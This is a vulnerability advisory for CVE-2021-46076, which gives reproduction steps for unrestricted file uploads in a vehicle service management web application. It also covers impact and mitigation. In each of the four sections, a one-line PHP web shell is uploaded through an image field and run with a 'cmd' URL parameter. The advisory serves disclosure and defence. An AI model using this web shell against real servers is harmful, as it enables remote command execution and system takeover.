CVE-2021-46076: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution - P.L.SANU

Vehicle Service Management System - ‘Multiple’ File upload Leads to Code Execution

Description:
Unrestricted File Upload vulnerability exists in Vehicle Service Management System 1.0. An remote attacker can able to upload malicious files it leads to Code Execution vulnerability.

****1. Vehicle Service Management System – ‘MyAccount’ (/admin/?page=user)****

Steps to Reproduce:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to My Account section http://localhost/vehicle_service/admin/?page=user

Code:
<?php system($_GET[‘cmd’]);?>

3. Save the above php code For Ex:Cmd.php
4. In My Account Section enter all the required details and browse the php file in Avatar.
5. Click on update button.
6. Open the avatar image in new tab.
7. Add the cmd parameter in the URL and execute the commands.
8. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Execute all the system commands For Ex: id, whoami, pwd etc…

2. Vehicle Service Management System – ‘User List’ (/admin/?page=user/manage_user)

Steps to Reproduce:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to User List section and click on Create New button.

Code:
<?php system($_GET[‘cmd’]);?>

3. Save the above php code For Ex:Cmd.php
4. In Create New User Page enter all the required details and browse the php file in Avatar.
5. Click on Save button.
6. Open the avatar image in new tab.
7. Add the cmd parameter in the URL and execute the commands.
8. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Execute all the system commands For Ex: id, whoami, pwd etc…

3. Vehicle Service Management System – ‘Settings-System Logo’ (/admin/?page=system_info)

Steps to Reproduce:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

Code:
<?php system($_GET[‘cmd’]);?>

3. Save the above php code For Ex:Cmd.php
4. In Settings Section enter all the required details and browse the php file in System Logo.
5. Click on update button.
6. Open the System Logo image in new tab.
7. Add the cmd parameter in the URL and execute the commands.
8. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Execute all the system commands For Ex: id, whoami, pwd etc…

4. Vehicle Service Management System – ‘Settings-Website Cover’ (/admin/?page=system_info)

Steps to Reproduce:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

Code:
<?php system($_GET[‘cmd’]);?>

3. Save the above php code For Ex:Cmd.php
4. In Settings Section enter all the required details and browse the php file in Website Cover.
5. Click on update button.
6. Open the Website Cover image in new tab.
7. Add the cmd parameter in the URL and execute the commands.
8. Final URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Execute all the system commands For Ex: id, whoami, pwd etc…

Impact:
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored. Here is the list of attacks that the attacker might do:

• Compromise the web server by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth.
• Put a phishing page into the website.
• Put a permanent XSS into the website.
• Bypass cross-origin resource sharing (CORS) policy and exfiltrate potentially sensitive data.
• Upload a file using malicious path or name which overwrites critical file or personal data that other users access. For example; the attacker might replace the .htaccess file to allow him/her to execute specific scripts.

Mitigation:
It is recommended to implement the following:

• Never accept a filename and its extension directly without having a white-list filter.
• If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
• Limit the file size to a maximum value in order to prevent denial of service attacks.
• Uploaded directory should not have any “execute” permission.
• Don’t rely on client-side validation only.

References:

• https://github.com/plsanu/Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution
• https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
• https://owasp.org/www-community/attacks/Code_Injection